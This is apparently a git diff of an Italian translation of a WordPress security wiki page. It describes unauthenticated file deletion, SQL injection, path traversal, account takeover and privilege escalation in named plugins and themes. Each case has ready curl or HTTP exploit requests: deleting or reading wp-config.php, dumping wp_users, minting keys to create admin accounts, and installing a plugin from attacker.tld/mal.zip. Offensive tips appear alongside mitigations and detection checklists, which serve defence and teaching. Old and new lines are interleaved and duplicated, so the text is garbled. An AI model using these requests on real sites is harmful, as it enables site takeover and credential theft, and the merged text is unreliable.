- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revisiona le registrazioni REST per callback privilegiate che non hanno controlli robusti di `permission_callback` e invece si affidano agli header della richiesta.
|
||||
- Cerca utilizzi delle funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protetti solo da valori di header.
|
||||
|
||||
Mitigazioni
|
||||
### Cancellazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
- Non derivare mai autenticazione o autorizzazione da header controllati dal client.
|
||||
- Se un reverse proxy deve inserire l'identità, terminare la fiducia al proxy e rimuovere le copie inbound (es. `unset X-Wcpay-Platform-Checkout-User` at the edge), poi passare un token firmato e verificarlo lato server.
|
||||
- Per le route REST che eseguono azioni privilegiate, richiedere controlli con `current_user_can()` e un `permission_callback` rigoroso (do NOT use `__return_true`).
|
||||
- Preferire auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
|
||||
WordPress themes e plugin frequentemente espongono handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **il callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
|
||||
|
||||
Riferimenti: vedere i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
|
||||
|
||||
### Eliminazione Arbitraria di File non Autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
I theme e plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** viene utilizzata **la callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve inoltre implementare:
|
||||
|
||||
1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||||
1. Un **controllo di capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||||
2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||||
3. **Sanitizzazione / validazione rigorosa degli input**.
|
||||
3. **Stretta sanitizzazione / validazione degli input**.
|
||||
|
||||
Il tema multipurpose Litho (< 3.1) si è dimenticato di implementare questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato):
|
||||
Il tema multipurpose Litho (< 3.1) si è dimenticato di questi 3 controlli nella feature *Remove Font Family* e ha finito per includere il seguente codice (semplificato):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -445,58 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Problemi introdotti da questo snippet:
|
||||
|
||||
* **Unauthenticated access** – l'hook `wp_ajax_nopriv_` è registrato.
|
||||
* **No nonce / capability check** – qualunque visitatore può raggiungere l'endpoint.
|
||||
* **No path sanitisation** – la stringa `fontfamily` controllata dall'utente viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico `../../` traversal.
|
||||
* **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato.
|
||||
* **Nessun controllo nonce / capability** – qualsiasi visitatore può raggiungere l'endpoint.
|
||||
* **Nessuna sanitizzazione del percorso** – la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`.
|
||||
|
||||
#### Exploitation
|
||||
#### Sfruttamento
|
||||
|
||||
Un attaccante può eliminare qualsiasi file o directory **sotto la directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
|
||||
Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola HTTP POST request:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` si forza WordPress nella *procedura di installazione* alla visita successiva, consentendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
|
||||
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` WordPress viene forzato nella *procedura guidata d'installazione* al prossimo accesso, permettendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
|
||||
|
||||
Altri target impattanti includono file `.php` di plugin/theme (per compromettere plugin di sicurezza) o regole `.htaccess`.
|
||||
|
||||
#### Detection checklist
|
||||
#### Checklist di rilevamento
|
||||
|
||||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che invoca helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
|
||||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenazione di input utente non sanitizzato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Hardening
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Sempre** tratta qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
|
||||
### Escalation di privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
|
||||
|
||||
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando i ruoli originali negli user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo sui parametri della request (e.g., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capability e un nonce valido, questo diventa una vertical privilege escalation.
|
||||
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il(i) ruolo(i) originale(i) in user meta in modo da poterli ripristinare successivamente. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo si trasforma in una escalation di privilegi verticale.
|
||||
|
||||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati negli user meta `_asenha_view_admin_as_original_roles`:
|
||||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non effettuava né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati da user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,15 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Perché è sfruttabile
|
||||
|
||||
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
|
||||
- Se un utente in precedenza aveva privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` ed è stato declassato, può ripristinarli visitando il percorso di reset.
|
||||
- In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non corretta).
|
||||
|
||||
Prerequisiti dell'attacco
|
||||
|
||||
- Versione del plugin vulnerabile con la funzionalità abilitata.
|
||||
- L'account target ha un ruolo di alto privilegio obsoleto memorizzato nei user meta da un uso precedente.
|
||||
- Qualsiasi sessione autenticata; mancanza di nonce/capability nel flusso di reset.
|
||||
- Si affida a `$_REQUEST['reset-for']` e a un'opzione del plugin senza autorizzazione lato server.
|
||||
- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli richiamando il percorso di reset.
|
||||
- In alcune installazioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa).
|
||||
|
||||
Sfruttamento (esempio)
|
||||
```bash
|
||||
@ -531,36 +493,23 @@ Sfruttamento (esempio)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), causando di fatto un'escalation di privilegi.
|
||||
Sulle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), escalando effettivamente i privilegi.
|
||||
|
||||
Checklist di rilevamento
|
||||
Detection checklist
|
||||
|
||||
- Cerca funzionalità di role-switching che persistono gli “original roles” nei user meta (es., `_asenha_view_admin_as_original_roles`).
|
||||
- Cerca funzionalità di role-switching che persistono “original roles” in user meta (es., `_asenha_view_admin_as_original_roles`).
|
||||
- Individua percorsi di reset/restore che:
|
||||
- Leggono username da `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modificano ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizzano basandosi su un array di opzioni del plugin (es., `viewing_admin_as_role_are`) invece che sulle capability dell'attore.
|
||||
|
||||
Mitigazioni
|
||||
|
||||
- Applicare controlli sulle capability in ogni ramo che modifica lo stato (es., `current_user_can('manage_options')` o più restrittivo).
|
||||
- Richiedere nonces per tutte le mutazioni di ruoli/permessi e verificarli: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Non fidarsi mai di username forniti dalla request; risolvere l'utente target lato server basandosi sull'attore autenticato e su una policy esplicita.
|
||||
- Invalidare lo stato degli “original roles” durante aggiornamenti di profile/ruolo per evitare il ripristino di privilegi elevati obsoleti:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Valuta di conservare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch temporanei di ruolo.
|
||||
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Authorize based on a plugin option array (es., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Alcuni plugin collegano user-switching helpers al public `init` hook e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare authentication, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un arbitrario user ID.
|
||||
Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
|
||||
|
||||
Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1):
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Perché è sfruttabile
|
||||
|
||||
- Il hook pubblico `init` rende il handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`).
|
||||
- L'identità è derivata da un cookie modificabile dal client (`original_user_id`).
|
||||
- Una chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza controlli di capability/nonce.
|
||||
- Il hook pubblico `init` rende l'handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`).
|
||||
- L'identità viene ricavata da un cookie modificabile dal client (`original_user_id`).
|
||||
- La chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza alcun controllo di capability/nonce.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
Sfruttamento (non autenticato)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -605,22 +554,22 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Considerazioni sul WAF per i CVE di WordPress/plugin
|
||||
### Considerazioni WAF per WordPress/plugin CVEs
|
||||
|
||||
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto di WordPress/plugin sono bug di logica dell'applicazione o di auth che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
|
||||
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Mira agli endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Esegui prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, public shortcodes). I payload di default spesso funzionano senza offuscamento.
|
||||
- Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Provare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso riescono senza obfuscazione.
|
||||
- Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Non fare affidamento su firme WAF generiche per proteggere i CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente.
|
||||
- Preferisci controlli di sicurezza in modalità positiva nel codice (capabilities, nonces, strict input validation) piuttosto che filtri negativi basati su regex.
|
||||
- Non fare affidamento sulle signature generiche del WAF per proteggere CVE dei plugin. Implementa patch virtuali a livello applicativo specifiche per la vulnerabilità o aggiorna rapidamente.
|
||||
- Preferisci controlli positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
|
||||
|
||||
## Protezione di WordPress
|
||||
## Protezione WordPress
|
||||
|
||||
### Aggiornamenti regolari
|
||||
|
||||
@ -640,16 +589,16 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
|
||||
|
||||
### **Altre raccomandazioni**
|
||||
|
||||
- **Rimuovi** l'utente predefinito **admin**
|
||||
- **Usa** **password complesse** e **2FA**
|
||||
- **Rivedi** periodicamente i **permessi** degli utenti
|
||||
- **Limita i tentativi di login** per prevenire attacchi Brute Force
|
||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da alcuni indirizzi IP.
|
||||
- Rimuovere l'utente predefinito **admin**
|
||||
- Usare **password forti** e **2FA**
|
||||
- Periodicamente **rivedere** i **permessi** degli utenti
|
||||
- **Limitare i tentativi di login** per prevenire attacchi Brute Force
|
||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
|
||||
|
||||
|
||||
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||||
Il plugin WP Job Portal recruitment esponeva un task **savecategory** che, in definitiva, esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -661,17 +610,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```
|
||||
Problemi introdotti da questo snippet:
|
||||
|
||||
1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **Concatenazione di stringhe nella clausola WHERE** – assenza di `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Accessibilità non autenticata** – sebbene l'azione venga eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Unsanitised user input** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **String concatenation inside the WHERE clause** – manca `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo in atto è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Sfruttamento
|
||||
|
||||
1. Ottenere un nonce valido:
|
||||
1. Recupera un nonce valido:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Iniettare SQL arbitrario abusando di `parentid`:
|
||||
2. Inietta SQL arbitrario sfruttando `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -679,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la SQLi.
|
||||
La risposta rivela il risultato della query iniettata o altera il database, dimostrando la presenza di SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Un'altra operazione, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file su disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Un altro task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` è controllato dall'attaccante ed è concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è un **CSRF nonce** che può essere recuperato dalla pagina del resume.
|
||||
`$file_name` è controllato dall'attaccante e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -703,7 +652,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
```
|
||||
Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## References
|
||||
## Presa di controllo dell'account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Molti temi/plugin forniscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando i dati del provider mancano e poi chiama wp_set_auth_cookie(), questo diventa un bypass completo dell'autenticazione.
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Perché è sfruttabile
|
||||
|
||||
- Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…).
|
||||
- Nessun controllo di nonce/capability prima della modifica di stato.
|
||||
- Manca la verifica del provider OAuth/OpenID; il ramo di default accetta input dell'attaccante.
|
||||
- get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente.
|
||||
|
||||
Sfruttamento (senza autenticazione)
|
||||
|
||||
- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un indirizzo email utente valido.
|
||||
- Imposta provider su un valore non supportato (o omettendolo) per raggiungere il ramo di default e inviare id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Indicatori di successo attesi
|
||||
|
||||
- HTTP 200 con body JSON tipo {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* per l'utente vittima; le richieste successive sono autenticate.
|
||||
|
||||
Trovare il nome dell'action
|
||||
|
||||
- Ispeziona il tema/plugin per registrazioni add_action('wp_ajax_nopriv_...', '...') nel codice di social login (es., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep per wp_set_auth_cookie(), get_user_by('email', ...) nei gestori AJAX.
|
||||
|
||||
Checklist di rilevamento
|
||||
|
||||
- Log web che mostrano POST non autenticati a /wp-admin/admin-ajax.php con l'action social-login e id=<email>.
|
||||
- Risposte 200 con il JSON di successo immediatamente precedenti a traffico autenticato dallo stesso IP/User-Agent.
|
||||
|
||||
Mitigazioni
|
||||
|
||||
- Non derivare l'identità dall'input del client. Accetta solo email/ID che provengono da un token/ID del provider validato.
|
||||
- Richiedi CSRF nonces e controlli di capability anche per helper di login; evita di registrare wp_ajax_nopriv_ a meno che non sia strettamente necessario.
|
||||
- Valida e verifica le risposte OAuth/OIDC lato server; rifiuta provider mancanti/invalidi (no fallback a POST id).
|
||||
- Considera la disabilitazione temporanea del social login o un patch virtuale al bordo (bloccare l'action vulnerabile) fino alla risoluzione.
|
||||
|
||||
Comportamento corretto (Jobmonster 4.8.0)
|
||||
|
||||
- Rimosso il fallback insicuro da $_POST['id']; $user_email deve provenire dai branch provider verificati in switch($_POST['using']).
|
||||
|
||||
## Escalation di privilegi non autenticata tramite emissione di token/chiave REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Alcuni plugin espongono endpoint REST che emettono “connection keys” riutilizzabili o token senza verificare le capability del chiamante. Se la route si autentica solo su un attributo indovinabile (es., username) e non lega la chiave a un utente/sessione con controlli di capability, un attaccante non autenticato può emettere una chiave e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – emetti una connection key e usala
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Perché è sfruttabile
|
||||
- Route REST sensibile protetta solo da una prova di identità a bassa entropia (username) o da permission_callback mancante
|
||||
- Nessun enforcement delle capability; la chiave emessa viene accettata come bypass universale
|
||||
|
||||
Checklist di rilevamento
|
||||
- Esegui grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Qualsiasi route che emette token/chiavi basate su identità fornita nella richiesta (username/email) senza collegarle a un utente autenticato o a una capability
|
||||
- Cerca route successive che accettano la token/chiave emessa senza controlli di capability lato server
|
||||
|
||||
Mitigazioni
|
||||
- Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta
|
||||
- Non emettere chiavi a lunga durata basate su identità fornite dal client; se necessario, rilasciare token a breve durata vincolati all'utente dopo l'autenticazione e ricontrollare le capability al momento dell'uso
|
||||
- Valida il contesto utente del chiamante (wp_set_current_user da solo non è sufficiente) e rifiuta le richieste dove !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces prevengono il CSRF, non l'autorizzazione. Se il codice interpreta il superamento di un nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e ottenere RCE installando un plugin backdoored o vulnerabile.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: compromissione completa tramite installazione/attivazione arbitraria di plugin
|
||||
|
||||
PoC (la forma dipende dal plugin; solo illustrativo)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Checklist di rilevamento
|
||||
- REST/AJAX handlers che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza controllo di capability
|
||||
- Qualsiasi path di codice che imposti $skip_caps = true dopo la validazione del nonce
|
||||
|
||||
Rafforzamento
|
||||
- Considera sempre i nonces solo come CSRF tokens; applica i controlli di capability indipendentemente dallo stato del nonce
|
||||
- Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer
|
||||
- Rifiuta l'accesso non autenticato; evita di esporre azioni AJAX nopriv per flussi privilegiati
|
||||
|
||||
---
|
||||
|
||||
## SQLi non autenticato tramite il parametro s (search) nelle azioni depicter-* (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Diverse action depicter-* consumavano il parametro s (search) e lo concatenavano in query SQL senza parameterizzazione.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: concatenazione diretta di stringhe nelle clausole WHERE/LIKE; assenza di prepared statements e sanitizzazione
|
||||
- Impact: esfiltrazione del database (utenti, hash), movimento laterale
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
